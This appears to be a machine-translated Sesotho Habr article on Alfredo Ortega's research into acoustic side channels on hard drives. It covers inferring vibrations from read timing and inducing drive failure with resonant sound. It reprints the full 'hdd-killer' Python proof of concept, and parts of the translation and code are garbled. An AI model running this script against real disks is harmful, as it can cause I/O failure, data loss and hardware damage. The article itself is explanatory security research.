Hobaneng u sa lokela ho hoeletsa HDD ea hau

Hobaneng u sa lokela ho hoeletsa HDD ea hau

Sebokeng sa ts'ireletso ea khomphutha ea Ekoparty 2017 e Buenos Aires, mohatelli oa Argentina, Alfredo Ortega, o ile a bontša tsoelo-pele e thahasellisang haholo - mokhoa oa ho pata mohala ka sekhukhu sa meaho ntle le ho sebelisa microphone. Molumo e ngotsoe ka kotloloho ho hard drive!

HDD haholo-holo e nka melumo e phahameng ea maqhubu a tlaase, mehato ea maoto le li-vibrations tse ling. Puo ea batho ha e e-s’o hlokomelehe, le hoja bo-rasaense ba ntse ba etsa lipatlisiso ntlheng ena (ho tseba puo ka ho thothomela ha maqhubu a tlase, a tlalehiloeng, mohlala, ho tsoa ho gyroscope kapa HDD).

Molumo ke ho sisinyeha ha moea kapa mokhoa o mong. Motho o li lemoha ka moropa oa tsebe, o fetisetsang ho thothomela karolong e ka hare ea tsebe. Microphone e entsoe ka mokhoa o batlang o tšoana le tsebe - le mona, ho thothomela ho tlalehiloe ke lera le lesesaane, le hlasimollang matla a motlakase. Ha e le hantle, hard drive e boetse e tlas'a ho sisinyeha ha microscopic ka lebaka la ho fetoha ha moea o potolohileng. Sena se tsejoa esita le ho tsoa ho litšoaneleho tsa tekheniki tsa li-HDD: hangata bahlahisi ba bonts'a boemo bo phahameng bo lumelletsoeng ba ho sisinyeha, 'me hard drive ka boeona hangata e leka ho e beha ka har'a sets'oants'o sa vibrate se entsoeng ka rabara kapa lintho tse ling tse sireletsang. Ho tloha mona ho bonolo ho etsa qeto ea hore melumo e ka rekotoa ka HDD. Ho setseng ke ho tseba hore na joang.

Alfredo Ortega o hlahisitse mofuta o ikhethileng oa tlhaselo ea kanale e lehlakoreng, e leng tlhaselo ea nako. Tlhaselo ena e ipapisitse le maikutlo a hore ts'ebetso e fapaneng e etsoa sesebelisoa ka linako tse fapaneng, ho latela lintlha tse kentsoeng. Tabeng ena, "data ea ho kenya" ke ho thothomela ha hlooho ea ho bala le platter ea HDD, e amanang le ho sisinyeha ha tikoloho, ke hore, ka molumo. Ka hona, ka ho lekanya nako ea ho bala le ho etsa tlhahlobo ea lipalo-palo ea lintlha, ho sisinyeha ha hlooho / platter 'me kahoo ho sisinyeha ha seaplane ho ka lekanyetsoa. Ha nako e telele e lieha ho bala lintlha, li-vibrations tsa HDD li matlafala, ka hona, molumo o matla le ho feta.

Mokhoa oa ho lekanya vibration ea hard drive? Ho bonolo haholo: tsamaisa mohala oa sistimi feela read () — mme o tlalehe nako eo e e nkang ho qeta. Sistimi ea sejoale-joale ea ts'ebetso e u lumella ho bala nako ea mehala ea sistimi ka ho nepahala ha nanosecond.

Lebelo la ho bala tlhahisoleseling ho tsoa lefapheng le ipapisitse le boemo ba hlooho le platter, tse tsamaellanang le ho thothomela ha nyeoe ea HDD. Ke phetho.

Tlhahlobo ea lipalo-palo e etsoa ka tšebeliso e bonolo ea Kscope. Joalokaha ba re, ntho e 'ngoe le e' ngoe e bohlale e bonolo.

Hobaneng u sa lokela ho hoeletsa HDD ea hau
Sesebelisoa sa Kscope (stat() syscall)

Kscope ke sesebelisoa se senyenyane sa ho bona liphapang tse nyane linakong tsa ts'ebetso ea mohala oa sistimi. Mohlolie hatisitsoeng ho GitHub.

Sebakeng se arohaneng sa polokelo HDD-nako ho na le mofuta oa ts'ebeliso e lokiselitsoeng tlhaselo ea nako ho hard drive, ke hore, e lokiselitsoeng ho sekaseka mohala oa sistimi. read ().

Pontšo ea ho rekota molumo ka HDD, ts'ebetso ea ts'ebeliso ea Kscope


Ha e le hantle, puo e ke ke ea utloisisoa ka tsela ena, empa HDD e loketse hantle joaloka mochine oa vibrate. Ka mohlala, u ka ingolisa haeba motho ea apereng lieta tse thata kapa a sa roala lieta a kene ka kamoreng e nang le k'homphieutha (mohlomong, haeba mohlaseli a apere li-sneakers tse bonolo kapa ho na le k'hapete e teteaneng fatše, HDD e ke ke ea khona ho ngolisa ho thothomela - sena se loketse ho hlahlojoa). Khomphuta e khona ho ngolisa likhalase tse robehileng kapa liketsahalo tse ling tse nang le molumo o matla. Ke hore, hard drive e ka sebetsa joalo ka mofuta oa sistimi e sa lumelloeng ea ho tseba ho kenella.

HDD 'molai

Ka tsela, mokhoa o ts'oanang o ka sebelisoa ho tima li-hard drive. Ke mona feela ha re tlose li-oscillations ho HDD, empa ho fapana le hoo, re hlahisa li-oscillations tse feptjoang ho HDD. Haeba u bapala molumo o tsoang ho sebui ka lebelo le lumellanang le maqhubu a HDD, tsamaiso e tloha e tima sesebelisoa ka phoso ea I / O ( Linux kernel e tima HDD ka ho feletseng ka mor'a metsotsoana ea 120). Hard drive ka boeona e ka ba le tšenyo e ke keng ea etsolloa.

Hobaneng u sa lokela ho hoeletsa HDD ea hau
Linux kernel e ile ea tima hard drive ka mor'a metsotsoana e 120 ea ho fana ka molumo ka maqhubu a resonant ka sebui sa Edifier r19u USB sebui. Sebui se buletsoe hoo e ka bang kotara ea matla (ka tlase ho 100 mW) 'me se fumaneha 20 cm ho tloha HDD, e lebisitsoe tafoleng ho ntlafatsa ho thothomela. Frame ho tloha video ka pontšo ea 'molai oa HDD

Hoa makatsa hore ebe "litlhaselo" tse joalo ho li-HDD ka linako tse ling li etsahala ka ho feletseng ka kotsi bophelong ba letsatsi le letsatsi. Ka mohlala, ka September 2016, setsi sa data sa ING Bank se ile sa qobelloa ho emisa ts'ebetso bakeng sa lihora tsa 10 ka mor'a ho phunya mollo. Li-hard drive tse ngata li hlolehile ka lebaka la molumo o phahameng oa khase ea inert e tsoang ho li-cylinders tlas'a khatello e phahameng. Molumo o ne o le holimo haholo (ho feta 130 dB), empa ha o khone le ho hoeletsa ho li-hard drive - sena se eketsa tieho ea ho fumana HDD.

Pontšo ea batho ba hoeletsang ho li-hard drive setsing sa data. Tekanyo ea ho lieha


Ho hlahisa molumo o monate, Alfredo Ortega o ile a ngola mongolo oa Python o bitsoang hdd-molai (pontsho ya dibidio).

HDD killer script E nyane haholo, kahoo o ka e phatlalatsa ka botlalo mona.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Source: www.habr.com

Eketsa ka tlhaloso